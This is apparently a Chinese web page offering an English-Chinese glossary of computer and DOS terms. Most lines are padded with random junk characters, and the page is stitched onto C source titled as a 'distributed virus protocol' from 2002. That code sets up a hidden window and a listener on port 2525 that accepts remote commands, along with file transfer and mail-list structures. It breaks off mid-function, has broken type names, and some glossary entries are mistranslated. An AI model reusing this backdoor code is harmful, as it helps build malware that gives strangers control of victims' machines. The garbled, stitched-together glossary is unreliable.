电脑常用语的翻译哪里有啊

网上有关“电脑常用语的翻译哪里有啊 ”话题很是火热,小编也是针对电脑常用语的翻译哪里有啊寻找了一些与之相关的一些信息进行分析 ,如果能碰巧解决你现在面临的问题,希望能够帮助到您 。

access arm 磁头臂,存取臂

access time 存取时间

adder 加法器

address 地址

alphanumeric 字母数字的

analog computer 模拟计算机

analyst 分析员

area 区域

array 数组,阵列

assembler 汇编程序

automation 自动化

band 区

batch processing 成批处理

binary code 二进制码

binary digit 二进制位,二进制数字

bit 比特,二进制的一位

branch 分支,支线

brush 电刷

buffer storage 缓冲存储器

calculator 计算器

call instruction 呼叫指令

card punch 卡片穿孔机

card reader 卡片阅读机,读卡机

cell 单元

channel 通道,信道

character 字符

check digit 校验数位

circuit 电路,线路

to clear 清除,清零

clock 时钟

code 代码

to code 编码

coder 编码员,编码器

command 指令,命令

compiler 编译程序

computer language 计算机语言

console 控制台

control unit 控制部件,控制器

core storage, core store 磁心存储器

counter 计数器

cybernetics 控制论

cycle 循环

data 数据

data processing 数据处理

debugging 调试

decision 制定

digit 数字,数位,位

digital computer 数字计算机

disc, disk 磁盘

display unit 显示装置

drum 磁鼓

to edit 编辑

electronics 电子学

emitter 发射器

to encode 编码

to erase 擦除,清洗,抹除

feed 馈送,供给

to feed 馈送,供给

feedback 反馈

field 字段,信息组,域

file 文件

floppy disk 软磁盘

floppy disk drive 软磁盘机

flow chart 流程图

frame 帧

hardware 硬件

identifier 标识符

index 索引

information 信息

inline processing 内处理

input 输入

inquiry 询问

instruction 指令

integrated circuit 集成电路

to interpret 解释 item 项目,项

jump 转移

key 键,关键码

keyboard 键盘

latency time 等待时间

library 库,程序库

linkage 连接

to load 装入,寄存,写入,加载

location 存储单元

logger 登记器,记录器

loop 循环

machine language 机器语言

magnetic storage 磁存储器

magnetic tape 磁带

matrix 矩阵

memory 存储器

message 信息,报文

microcomputer 微型计算机

module 组件,模块

monitor 监视器,监督程序,管程

nanosecond 毫微秒

network 网络,网

numeric, numerical 数字的,数值的

octet 八位位组,八位字节

operator 操作员

optical character reader 光符阅读机

optical scanner 光扫描器

output 输出

overflow 溢出,上溢

panel 平板

parameter 参数,参量

perforator 穿孔机

peripheral equipment 外围设备,外部设备

personal computer 个人计算机

printed circuit 印制电路

printer 打印机

printout 打印输出

to process 处理

processing unit 处理部件

program 程序

to program 程序编制

programmer 程序设计员

programming 程序设计,程序编制

pulse 脉冲

punch 穿孔

to punch 穿孔

punched card, punch card 穿孔卡片

punched tape, punch tape 穿孔纸带

punch hole 孔,穿孔

random access 随机存取

to read 读

reader 阅读程序

reading 阅读

real time 实时

record, register 记录

redundancy 冗余

routine 例行程序

selector 选择器,选择符

sentinel 标记

sequence 序列,顺序

sequential 顺序的

serial 串行的.连续的

shift 移位,移数

signal 信号

simulation 模拟

simulator 模拟器,模拟程序

software 软件,软设备

sort 分类,排序

sorter 分类人员,分类机,分类程序,排序程序

storage 存储器

to store 存储

subroutine, subprogram 子程序 symbol 符号

symbolic language 符号语言

system 系统

tabulator 制表机

teleprinter 电传打字机

terminal 终端

terminal unit 终端设备

timer 时钟,精密计时器

time sharing 分时

timing 定时

track 磁道

transducer 传感器,翻译机

translator 翻译程序,翻译器

to update 更新

Winchester disk drive 温彻斯特磁盘机,硬盘机

working storage 工作存储器

CPU(Center Processor Unit)中央处理单元 v

mainboard主板 gBPOn

RAM(random access :"S5W

memory)随机存储器(内存) Z#m

ROM(Read Only Memory)只读存储器 "}

Floppy Disk软盘 @

Hard Disk硬盘 @;

CD-ROM光盘驱动器(光驱) 0%

monitor监视器 ++lfH0

keyboard键盘 Sc

mouse鼠标 -5@ )

chip芯片 ,,tn

CD-R光盘刻录机 ~B)

HUB集线器 }JexUM

Modem= MOdulator-DEModulator,调制解调器 :4_

P-P(Plug and Play)即插即用 M*-

UPS(Uninterruptable Power Supply)不间断电源 RM%~

BIOS(Basic-input-Output ~?ga;

System)基本输入输出系统 `V]u

CMOS(Complementary Metal-Oxide-Semiconductor)互补金属氧化物半导体 94B?Ki

setup安装 {q1B62

uninstall卸载 `+AsQ

wizzard向导 |8x;e=

OS(Operation Systrem)操作系统 l[NBTR

OA(Office AutoMation)办公自动化 R

exit退出 ot

edit编辑 Jj

copy复制 ~

cut剪切 a5,H=

paste粘贴 %?.

delete删除 J'x\

select选择 sjZK

find查找 u=

select all全选 Fm

replace替换 c

undo撤消 yb

redo重做 HoEW1

program程序 3

license许可(证) )9{

back前一步 'nG!2

next下一步 g

finish结束 M8-"UU

folder文件夹 Po{_M

Destination Folder目的文件夹 Uo

user用户 Wm#8`

click点击 1*R

double click双击 .e-~

right click右击 a

settings设置 7'$

update更新 Qv,

release发布 k?!#E_

data数据 rjG

data base数据库 18IKp

DBMS(Data Base Manege FGh

System)数据库管理系统 .R

view视图 LbljOB

insert插入 s>u

object对象 2"+Ab;

configuration配置 ]dp*u

command命令 ,>n{Qf

document文档 %<0

POST(power-on-self-test)电源自检程序 L

cursor光标 SLclj

attribute属性 %i

icon图标 k!g

service pack服务补丁 ]0iWMi

option pack功能补丁 X/J

Demo演示 [KQ62

short cut快捷方式 ;@r7b`

exception异常 MdY"/"

debug调试 SS2<>

previous前一个 x

column行 J a

row列 [5-|~

restart重新启动 m

text文本 l`ETq

font字体 %1

size大小 b

scale比例 +J

interface界面 5Aie

function函数 ?

access访问 A{/W

manual指南 '

active激活 A;n

computer language计算机语言 [-Tc

menu菜单 k*TI_

GUI(graphical user KO

interfaces )图形用户界面 H!*?

template模版 Z=z

page setup页面设置 te;

password口令 ;#p

code密码 YPB

print preview打印预览 Y,ED

zoom in放大 ^Pv7

zoom out缩小 o

pan漫游 B|ZW

cruise漫游 yyvm

full screen全屏 <

tool bar工具条 f~4G

status bar状态条 :~u

ruler标尺 VED:

table表 *IRmR4

paragraph段落 tXN

symbol符号 V2

style风格 <i*?/|

execute执行 R+'H!

graphics图形 ZV3u)x

image图像 \E,1sr

Unix用于服务器的一种操作系统 zr

Mac OS苹果公司开发的操作系统 +IM#k:

OO(Object-Oriented)面向对象 ]ODM/

virus病毒 h

file文件 HH$If#

open打开 `

colse关闭 7x&rt~

new新建 jcPr

save保存 jCd

exit退出 9<i#

clear清除 DAX

default默认 V'O

LAN局域网 EjKQ

WAN广域网 <|T$1

Client/Server客户机/服务器 "@<b

ATM( Asynchronous "

Transfer Mode)异步传输模式 v

Windows NT微软公司的网络操作系统 QRDuQ

Internet互联网 @7F

WWW(World Wide Web)万维网 3=

protocol协议 r@

HTTP超文本传输协议 q4K`

FTP文件传输协议 U2*|ui

Browser浏览器 %eSE3S

homepage主页 ,

Webpage网页 0U

website网站 "lr

URL在Internet的WWW服务程序上 {Yk

用于指定信息位置的表示方法 >je

Online在线 {1

Email电子邮件 'C$g

ICQ网上寻呼 b.{2F

Firewall防火墙 !Et\lE

Gateway网关 `]iVM^

HTML超文本标识语言 04C

hypertext超文本 e?v$DG

hyperlink超级链接 \Ue?m&

IP(Address)互联网协议(地址) JOIH9"

SearchEngine搜索引擎 4p

TCP/IP用于网络的一组通讯协议 DfHN

Telnet远程登录 "*

IE(Internet Explorer)探索者(微软公司的网络浏览器) <'A

Navigator引航者(网景公司的浏览器) iz

multimedia多媒体 yaZ

ISO国际标准化组织 &'F

ANSI美国国家标准协会 h)#l

able 能 6 yd,G

activefile 活动文件 PW

addwatch 添加监视点 ni/;Tb

allfiles 所有文件 t-

allrightsreserved 所有的权力保留 Rf

altdirlst 切换目录格式 g3,&$T

andfixamuchwiderrangeofdiskproblems 并能够解决更大范围内的磁盘问题 xj/wV

andotherinformation 以及其它的信息 {@w:

archivefileattribute 归档文件属性 3Tp/X

assignto 指定到 k=gXSw

autoanswer 自动应答 [g,@@

autodetect 自动检测 qInA{

autoindent 自动缩进 P

autosave 自动存储 H

availableonvolume 该盘剩余空间 v

badcommand 命令错 8~OA

badcommandorfilename 命令或文件名错 F5eQ

batchparameters 批处理参数 a[,

binaryfile 二进制文件 Tx

binaryfiles 二进制文件 T7k

borlandinternational borland国际公司 &=FY

bottommargin 页下空白 b

bydate 按日期 L%?

byextension 按扩展名 p "M

byname 按名称 x

bytesfree 字节空闲 j5c

callstack 调用栈 ]lJ

casesensitive 区分大小写 6

causespromptingtoconfirmyouwanttooverwritean 要求出现确认提示,在你想覆盖一个 Rb\E

centralpointsoftwareinc central point 软件股份公司 qf

changedirectory 更换目录 D5xMEy

changedrive 改变驱动器 u-[{r.

changename 更改名称 <g5~

characterset 字符集 B?

checkingfor 正在检查 &>l7

checksadiskanddisplaysastatusreport 检查磁盘并显示一个状态报告 +Z2[0

chgdrivepath 改变盘/路径 r2#

china 中国 ch

chooseoneofthefollowing 从下列中选一项 |#=m

clearall 全部清除 X:Sd|

clearallbreakpoints 清除所有断点 q#

clearsanattribute 清除属性 (8k/I&

clearscommandhistory 清除命令历史 [H`

clearscreen 清除屏幕 >md

closeall 关闭所有文件 w

codegeneration 代码生成 rtN@M

colorpalette 彩色调色板 &xV(

commandline 命令行 ?S

commandprompt 命令提示符 Jv|&

compressedfile 压缩文件 EzX

configuresaharddiskforusewithmsdos 配置硬盘,以为 MS-DOS 所用 rL2nwy

conventionalmemory 常规内存 VraB

copiesdirectoriesandsubdirectorie***ceptemptyones 拷贝目录和子目录,空的除外 ;JG,

copiesfileswiththearchiveattributeset 拷贝设置了归档属性的文件 QgcZl

copiesoneormorefilestoanotherlocation 把文件拷贝或搬移至另一地方 ~

copiesthecontentsofonefloppydisktoanother 把一个软盘的内容拷贝到另一个软盘上 A2Y2

copydiskette 复制磁盘 D$G

copymovecompfindrenamedeletevervieweditattribwordpprintlist C拷贝M移动 O比 F搜索R改名 D删除 V版本 E浏览A属性 W写字 P打印 L列表 1ON

copyrightc 版权(c le?*P=

createdospartitionorlogicaldosdrive 创建DOS分区或逻辑DOS驱动器 p&5TrN

createextendeddospartition 创建扩展DOS分区 hn?e:V

createlogicaldosdrivesintheextendeddospartition 在扩展DOS分区中创建逻辑DOS驱动器 ng/NwJ

createprimarydospartition 创建DOS主分区 Axxv

createsadirectory 创建一个目录 O(I\v0

createschangesordeletesthevolumelabelofadisk 创建,改变或删除磁盘的卷标 1m;C

currentfile 当前文件 Ts

currentfixeddiskdrive 当前硬盘驱动器 Vfk)

currentsettings 当前设置 cD7AS7

currenttime 当前时间 c;"

cursorposition 光标位置 f| ;

defrag 整理碎片 ?g

dele 删去 ~G

deletepartitionorlogicaldosdrive 删除分区或逻辑DOS驱动器 (3=J

deletesadirectoryandallthesubdirectoriesandfilesinit 删除一个目录和所有的子目录及其中的所有文件 v0 `U

deltree 删除树 om#

devicedriver 设备驱动程序 ~OL6~X

dialogbox 对话栏 @sR

directionkeys 方向键 S>GT

directly 直接地 AU

directorylistargument 目录显示变量 Fu!2]

directoryof 目录清单 hg

directorystructure 目录结构 a9

diskaccess 磁盘存取 k

diskcopy 磁盘拷贝 { KE6g

diskservicescopycomparefindrenameverifyvieweditmaplocateinitialize 磁盘服务功能: C拷贝 O比较 F搜索R改卷名V校验 浏览E编缉M图 L找文件 N格式化 @*w

diskspace 磁盘空间 ' l_gg

displayfile 显示文件 %?8~D

displayoptions 显示选项 yo,

displaypartitioninformation 显示分区信息 K;\{

displaysfilesinspecifieddirectoryandallsubdirectories 显示指定目录和所有目录下的文件 ?G._J

displaysfileswithspecifiedattributes 显示指定属性的文件 .0

displaysorchangesfileattributes 显示或改变文件属性 PN}i

displaysorsetsthedate 显示或设备日期 2Dr

displayssetupscreensinmonochromeinsteadofcolor 以单色而非彩色显示安装屏信息 )

displaystheamountofusedandfreememoryinyoursystem 显示系统中已用和未用的内存数量 ng>X

displaysthefullpathandnameofeveryfileonthedisk 显示磁盘上所有文件的完整路径和名称 M^\

displaysthenameoforchangesthecurrentdirectory 显示或改变当前目录 I%?

doctor 医生 =p)

doesn 不 bb {W

doesntchangetheattribute 不要改变属性 5']

dosshell DOS 外壳 /0f(my

doubleclick 双击 +B

doyouwanttodisplaythelogicaldriveinformationyn 你想显示逻辑驱动器信息吗(y/n)? Z?Og~%

driveletter 驱动器名 :{5Sa

editmenu 编辑选单 }pa

emsmemory ems内存 97Do

endoffile 文件尾 ~

endofline 行尾 Iy

enterchoice 输入选择 \

entiredisk 转换磁盘 u%

environmentvariable 环境变量 =

esc esc GF$

everyfileandsubdirectory 所有的文件和子目录 c

existingdestinationfile 已存在的目录文件时 [

expandedmemory 扩充内存 [nY<&

expandtabs 扩充标签 cT8D(p

explicitly 明确地 *.&O6s

extendedmemory 扩展内存 \

fastest 最快的 fsF

fatfilesystem fat 文件系统 3ES^

fdiskoptions fdisk选项 |^FQ35

fileattributes 文件属性 )

fileformat 文件格式 &lM

filefunctions 文件功能 1M7`Z(

fileselection 文件选择 B5R

fileselectionargument 文件选择变元 !+Z

filesin 文件在 i

filesinsubdir 子目录中文件 Pxg

fileslisted 列出文件 n<U!

filespec 文件说明 YY3

filespecification 文件标识 }h*

filesselected 选中文件 Lie

findfile 文件查寻 +h*$

fixeddisk 硬盘 5ua

fixeddisksetupprogram 硬盘安装程序 )zR)#'

fixeserrorsonthedisk 解决磁盘错误 {O:

floppydisk 软盘 G}lyP

formatdiskette 格式化磁盘 4n|*m/

formatsadiskforusewithmsdos 格式化用于MS-DOS的磁盘 Rbs/W

formfeed 进纸 *2ZS1

freememory 闲置内存 OA

fullscreen 全屏幕 LH#1*

functionprocedure 函数过程 a9p(1e

graphical 图解的 7J

graphicslibrary 图形库 ;5

groupdirectoriesfirst 先显示目录组 P>{4

hangup 挂断 /k

harddisk 硬盘 M

hardwaredetection 硬件检测 V@3_$

hasbeen 已经 Lbp

helpfile 帮助文件 5b

helpindex 帮助索引 o{PO

helpinformation 帮助信息 @QbS{,

helppath 帮助路径 b

helpscreen 帮助屏 |I<

helptext 帮助说明 0M]8=?

helptopics 帮助主题 uV\na_

helpwindow 帮助窗口 0mu %

hiddenfile 隐含文件 0$Ii41

hiddenfileattribute 隐含文件属性 '

hiddenfiles 隐含文件 XHU]5

howto 操作方式 M&Rb

ignorecase 忽略大小写 T/

inbothconventionalanduppermemory 在常规和上位内存 U:J?):

incorrectdos 不正确的DOS PYr`

incorrectdosversion DOS 版本不正确 "V_

indicatesabinaryfile 表示是一个二进制文件 Z

indicatesanasciitextfile 表示是一个ascii文本文件 Z[

insertmode 插入方式 ^

insteadofusingchkdsktryusingscandisk 请用scandisk,不要用chkdsk mGP2

inuse 在使用 ~p#4

invaliddirectory 无效的目录 zKZ0o

is 是 N

kbytes 千字节 +8L?\M

keyboardtype 键盘类型 NS*;B

labeldisk 标注磁盘 .

laptop 膝上 ]

largestexecutableprogram 最大可执行程序 ,

largestmemoryblockavailable 最大内存块可用 s'^

lefthanded 左手习惯 D!+L

leftmargin 左边界 0iqHAh

linenumber 行号 o5

linenumbers 行号 83B

linespacing 行间距 x

listbyfilesinsortedorder 按指定顺序显示文件 :7

listfile 列表文件 m8J,

listof 清单 9/}

locatefile 文件定位 c|

lookat 查看 g<|/

lookup 查找 wI 3Vw

macroname 宏名字 8

makedirectory 创建目录 M8{

memoryinfo 内存信息 4U6Re

memorymodel 内存模式 qQ^

menubar 菜单条 /qPZ

menucommand 菜单命令 bYj$

menus 菜单 []=K>

messagewindow 信息窗口 5~

microsoft 微软 (

microsoftantivirus 微软反病毒软件 ?

microsoftcorporation 微软公司 W7#

mini 小的 BaKd

modemsetup 调制解调器安装 Hs

modulename 模块名 ~zf

monitormode 监控状态 }

monochromemonitor 单色监视器 ZtuM*"

moveto 移至 A<Lv<

multi 多 AWDvxC

newdata 新建数据 NuWKH5

newer 更新的 Paw/P"

newfile 新文件 6Rib7

newname 新名称 IQ

newwindow 新建窗口 R8

norton norton >^DRvJ

nostack 栈未定义 UR*/8r

noteusedeltreecautiously 注意:小心使用deltree uK'qCJ

onlinehelp 联机求助 >,S

optionally 可选择地 $cV<

or 或 V

pageframe 页面 T}{#

pagelength 页长 (

pausesaftereachscreenfulofinformation 在显示每屏信息后暂停一下 e>/%s

pctools pc工具 8PLRm=

postscript 附言 p+

prefixmeaningnot 前缀意即\"不 F<-c

prefixtoreverseorder 反向显示的前缀 ~

presetswitchesbyprefixinganyswitchwithhyphenforexamplew 用前缀和放在短横线-后的开关(例如/-w)预置开关 vO+1H

pressakeytoresume 按一键继续 DEx

pressanykeyforfilefunctions 敲任意键执行文件功能 +

pressentertokeepthesamedate 敲回车以保持相同的日期 >]

pressentertokeepthesametime 敲回车以保持相同的时间 xLHA,

pressesctocontinue 敲esc继续 O=WWk

pressesctoexit 敲<esc>键退出 Y>

pressesctoexitfdisk 敲esc退出fdisk aV(Ko

pressesctoreturntofdiskoptions 敲esc返回fdisk选项 pM"5%

previously 在以前 "N

printall 全部打印 Pj

printdevice 打印设备 JDP

printerport 打印机端口 |6kxuv

processesfilesinalldirectoriesinthespecifiedpath 在指定的路径下处理所有目录下的文件 `28

programfile 程序文件 bx

programmingenvironment 程序设计环境 !W_]

promptsyoubeforecreatingeachdestinationfile 在创建每个目标文件时提醒你 RKfvAT

promptsyoutopressakeybeforecopying 在拷贝前提示你敲一下键 '|?QQ

pulldown 下拉 DS

pulldownmenus 下拉式选单 RS

quickformat 快速格式化 ]7

quickview 快速查看 .Q+"

云南国土资源职业学院-学院论坛 -- 说你想说的,写你想写的 n8

readonlyfile 只读文件 I

readonlyfileattribute 只读文件属性 ()=}

readonlyfiles 只读文件 dM;P

readonlymode 只读方式 _b``j

redial 重拨 2,!df?

repeatlastfind 重复上次查找 QPopkc

reportfile 报表文件 e

resize 调整大小 6

respectively 分别地 QfP.

rightmargin 右边距 J

rootdirectory 根目录 m

runsdebugaprogramtestingandeditingtool 运行debug, 它是一个测试和编辑工具 ,y\

runtimeerror 运行时出错 W 7=*

saveall 全部保存 9

saveas 另存为on

/*

分布式病毒协议的C/C++描述代码

Coded by Vxk in CVC

CopyRight? 2001-2002

2002.10.18..night

*/

#include <windows.h>

#include <winsock.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <time.h>

typedef struct CONNINST

{

SOCKET socket; /* 本地Socket号 */

unsigned short clientPort; /* 客户端端口 */

struct in_addr clientIP; /* 客户端IP地址 */

time_t beginTime; /* 连接建立时间 - 预留 */

time_t updateTime; /* 最后更新时间 - 预留 */

WORD lastestSequenceNumber; /* 最新包序号 */

unsigned short key; /* 密钥 - 预留*/

unsigned short cmdLen; /* 结果堆长度 */

char *pCmd; /* 命令堆 */

unsigned short resultLen; /* 结果堆长度 */

char *pResult; /* 结果堆 */

struct CONNINST* next; /* 下一个请求实例的地址 */

}CONNINST, *pCONNINST;

typedef struct Maillist

{

String Address;

String Name;

Struct Maillist *pNext;

}Maillist,*pMaillist;

typedef struct Moudlelist

{

String MoudleName;

String MoudleFileName;

String MoudleGuid;

String UseFor;

String MoudleAuther;

Struct Moudlelist *pNext;

}Moudlelist,*pMoudlelist;

typedef struct FileUpData

{

struct in_addr clientIP;

DWORD port;

DWORD SAMGuid;

String FileName;

lvoid cmd;

}FileUpData,*pFileUpData;

typedef struct DVPPak

{

String SAMCommand;

String Guid;

String Auther;

lvoid Cmd;

pMaillist *pMail;

pMoudlelist *pMoudle;

String Versionofme;

pmyPCinfo *pcinfo;

}DVPPak, *pDVPPak;

HINSTANCE hInst; /* 当前实例句柄 */

HWND hWndMain; /* 主窗口句柄 */

SOCKET listenSocket; /* 监听套接口 */

pCONNINST pConnInstHead;

pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);

pCONNINST getConnInst(SOCKET);

void OnWrite(SOCKET socket);

int netHalt(void);

void delConnInst(pCONNINST);

Void DvpExpCmd(Socket s);

void delAllConnInst(void);

void RecvFileThreadProc(pFileUpData *plm);

void SendFileThreadProc(pFileUpData *plm);

int uiStartup(HINSTANCE hInstance, int nCmdShow);

LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);

int netStartup(void);

void OnAccept(SOCKET socket);

void OnClose(SOCKET socket);

void OnRead(SOCKET socket);

void sendResult(SOCKET socket);

int netStartup(void)

{

unsigned short wVersionRequested=MAKEWORD(1,1);

WSADATA wsaData;

SOCKADDR_IN saServer;

DWORD dwAddrStrLen;

char szAddress[128];

int nRet;

/* 初始化WinSock */

if(WSAStartup(wVersionRequested, &wsaData)!=0)

{

//("Dvp 错误 :: 网络协议启动失败,请重新启动计算机.");

}

/* 检查Winsock版本 */

if(wsaData.wVersion != wVersionRequested)

{

//("Dvp 错误 :: 网络协议版本错误,请升级Winsock.");

}

/* 创建流式套接口 */

listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(listenSocket==INVALID_SOCKET)

{

//("ERROR :: Can not create steam socket.");

return 0;

}

/* 通知套接口有请求事件发生 */

nRet=WSAAsyncSelect(listenSocket,

hWndMain, //在网络事件发生时需要接收消息的窗口句柄

UM_ASYNC, //在网络事件发生时要接收的消息

FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);

//只在程式开始执行一次,以后只要有套接口请求就发送消息

if (nRet==SOCKET_ERROR)

{

//("ERROR :: Can not initialize steam socket.");

closesocket(listenSocket);

return 0;

}

/* 地址结构设定 */

saServer.sin_port=htons(2525); //端口在这里哦

saServer.sin_family=AF_INET;

saServer.sin_addr.s_addr=INADDR_ANY;

/* 将一本地地址3872与套接口listenSocket捆绑 */

nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));

if (nRet==SOCKET_ERROR)

{

//("ERROR :: Can not bind socket to local port 1936.");

//("HINT :: Dvp Kernel Server can only run in one thread.");

closesocket(listenSocket);

return 0;

}

/* 让套接口开始监听 */

nRet = listen(listenSocket, SOMAXCONN);

if (nRet == SOCKET_ERROR)

{

//("ERROR :: Can not listen.");

closesocket(listenSocket);

return 0;

}

dwAddrStrLen = sizeof(szAddress);

GetLocalAddress(szAddress, &dwAddrStrLen);

return 1;

}

/* Unknown how */

int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)

{

struct in_addr *pinAddr;

LPHOSTENT lpHostEnt;

int nRet;

int nLen;

// Get our local name

nRet = gethostname(lpStr, *lpdwStrLen);

if(nRet==SOCKET_ERROR)

{

lpStr[0]='\0';

return SOCKET_ERROR;

}

// "Lookup" the local name

lpHostEnt=gethostbyname(lpStr);

if(lpHostEnt==NULL)

{

lpStr[0] = '\0';

return SOCKET_ERROR;

}

// format first address in the list

pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);

nLen=strlen(inet_ntoa(*pinAddr));

if((DWORD)nLen>*lpdwStrLen)

{

*lpdwStrLen=nLen;

WSASetLastError(WSAEINVAL);

return SOCKET_ERROR;

}

*lpdwStrLen = nLen;

strcpy(lpStr, inet_ntoa(*pinAddr));

return 0;

}

int uiStartup(HINSTANCE hInstance, int nCmdShow)

{

WNDCLASS DvpWindow;

HANDLE hObject;

/* 创建实例 */

hInst=hInstance;

/* 判断是否已经运行 */

hObject=CreateMutex(NULL,FALSE,"DvpC");

if(GetLastError() == ERROR_ALREADY_EXISTS)

{

CloseHandle(hObject);

PostQuitMessage(0);

return 0;

}

/* 创建窗口 */

DvpWindow.style=0;//指定类的风格

DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口过程的远指针

DvpWindow.cbClsExtra=0;//窗口结构额外字节数

DvpWindow.cbWndExtra=0;//窗口实例额外字节数

DvpWindow.hInstance=hInstance;//窗口过程所在的实例

DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//调用标识类的图标

DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//调用标识类的光标

DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//标识背景类的画刷

DvpWindow.lpszMenuName=NULL;//指向标识类菜单资源的字符串 ,以空字符结束

DvpWindow.lpszClassName="DVPSample";//标识本类的名称

RegisterClass(&DvpWindow);//注册窗口

hWndMain=CreateWindow("DVPSample",

"DVPSample",

WS_OVERLAPPEDWINDOW,

CW_USEDEFAULT,CW_USEDEFAULT,

CW_USEDEFAULT,CW_USEDEFAULT,

NULL,NULL,hInstance,NULL);

if(!hWndMain) return 0;

ShowWindow(hWndMain,SW_HIDE);//显示窗口

UpdateWindow(hWndMain);//更新窗口

return 1;

}

//处理窗口消息

LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

{

switch(message)//开始处理消息

{

/* User Interface Message */

case WM_CLOSE:

return(DefWindowProc(hWnd,message,wParam,lParam));

break;

case WM_DESTROY:

deleteSystrayIcon();

PostQuitMessage(0);

break;

case WM_SIZE:

delAllConnInst();

break;

/* Network Message */

case UM_ASYNC:

switch(WSAGETSELECTEVENT(lParam))

{

case FD_ACCEPT:

OnAccept((SOCKET)wParam);

break;

case FD_READ:

OnRead((SOCKET)wParam);

break;

case FD_WRITE:

OnWrite((SOCKET)wParam);

break;

case FD_CLOSE:

OnClose((SOCKET)wParam);

break;

}

break;

default:

return(DefWindowProc(hWnd,message,wParam,lParam));//默认窗口过程的消息处理

}

return(0);

}

pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)

{

/* 分配一块新的连接实例 */

pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));

/* 没有内存了 */

if(newConnInst==NULL) return NULL;

/* 分配一块新的SOCKADDR实例 */

// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);

// newConnInst->sockAddr=malloc(nAddrLen);

/* 没有内存了 */

// if(newConnInst->lpSockAddr==NULL)

// {

// free(newConnInst);

// return NULL;

// }

//装填新的请求包

newConnInst->socket=socket;

newConnInst->clientPort=port;

newConnInst->clientIP=ip;

newConnInst->pCmd=NULL;

newConnInst->pResult=NULL;

newConnInst->cmdLen=0;

newConnInst->resultLen=0;

newConnInst->beginTime=time(NULL);

newConnInst->updateTime=newConnInst->beginTime;

newConnInst->lastestSequenceNumber=0;

newConnInst->next=NULL;

//如果请求链表是空的

if(pConnInstHead==NULL)

{

//将这个请求作为链表头 ,放到pConnInstHead

pConnInstHead=newConnInst;

}

else

{

pCONNINST tempConn=pConnInstHead;

//走到链表尾

while(tempConn->next) tempConn=tempConn->next;

//追加新包到链表尾

tempConn->next=newConnInst;

}

//返回装填好的包的指针

return newConnInst;

}

pCONNINST getConnInst(SOCKET socket)

{

/* 遍历链表,寻找套接口 */

pCONNINST tempConn=pConnInstHead;

while(tempConn!=NULL)

{

if(tempConn->socket==socket) break;

tempConn=tempConn->next;

}

/*若没有,返回NULL */

return(tempConn);

}

void delConnInst(pCONNINST pConnInstToDel)

{

/* 如果要删除的是链表头 */

if(pConnInstToDel==pConnInstHead)

{

/* pConnInstHead->next 成为头 */

pConnInstHead=pConnInstHead->next;

/* 对链表头的free()在最后进行 */

}

else

{

pCONNINST tempConn=pConnInstHead;

/* 从链表头开始 到NULL为止 每次指向下一个*/

while(tempConn!=NULL)

{

/* 若当前的下一个是要被删除的 */

if (tempConn->next==pConnInstToDel)

{

/* 当前的下一个变成下一个的(要被删除的)下一个 */

tempConn->next=pConnInstToDel->next;

break;

}

}

}

/* 释放pConnInstToDel占用的内存 */

free(pConnInstToDel->pCmd);

free(pConnInstToDel->pResult);

free(pConnInstToDel);

return;

}

void delAllConnInst(void)

{

pCONNINST tempConn=pConnInstHead;

pCONNINST tempConn2;

/* 遍历链表 ,依次释放内存 */

/* 若存在tempConn则继续for */

while(tempConn!=NULL)

{

tempConn2=tempConn->next;

// free(tempConn->lpSockAddr);

// free(tempConn->pResultBuf);

free(tempConn->pCmd);

free(tempConn->pResult);

free(tempConn);

tempConn=tempConn2;

}

pConnInstHead=NULL;

return;

}

void OnAccept(SOCKET socket)

{

SOCKADDR_IN sockAddrIn;

pCONNINST connInst=NULL;

SOCKET peerSocket;

int tempLength;

// accept the new socket descriptor

tempLength=sizeof(SOCKADDR_IN);

peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);

if(peerSocket==SOCKET_ERROR)

{

if(WSAGetLastError()!=WSAEWOULDBLOCK)

{

//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));

return;

}

}

//让它也可以在读写或关闭的时候向窗口发送消息

WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);

if(peerSocket==SOCKET_ERROR)

{

//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));

return;

}

//将这已连接的套接口放到链表里

connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);

if (connInst==NULL)

{

//内存满了

//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));

closesocket(peerSocket);

return;

}

//("A new request from: %s is accepted on socket %d.",

inet_ntoa(sockAddrIn.sin_addr), peerSocket);

return;

}

void OnClose(SOCKET socket)

{

pCONNINST connInst;

// 检查是否已经删除了这个套接口

connInst=getConnInst(socket);

if (connInst==NULL) return;

// It is still in stock list

// The client must have to reset the connection.

// Clean up.

//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);

closesocket(connInst->socket);

delConnInst(connInst);

}

/* 可以读取数据了 */

void OnRead(SOCKET socket)

{

pCONNINST connInst;

int bytesReceive;

char* pNewCmd=NULL;

/* 查找对应的连接实例 */

connInst=getConnInst(socket);

/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */

if(connInst==NULL)

{

char buf[1024];

while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);

closesocket(socket);

//("When ready to receive (OnREAD), get some noise - DEBUG");

//("it is %c%c%c",buf[0],buf[1],buf[2]);

return;

}

/* 否则将所有数据读入命令堆 */

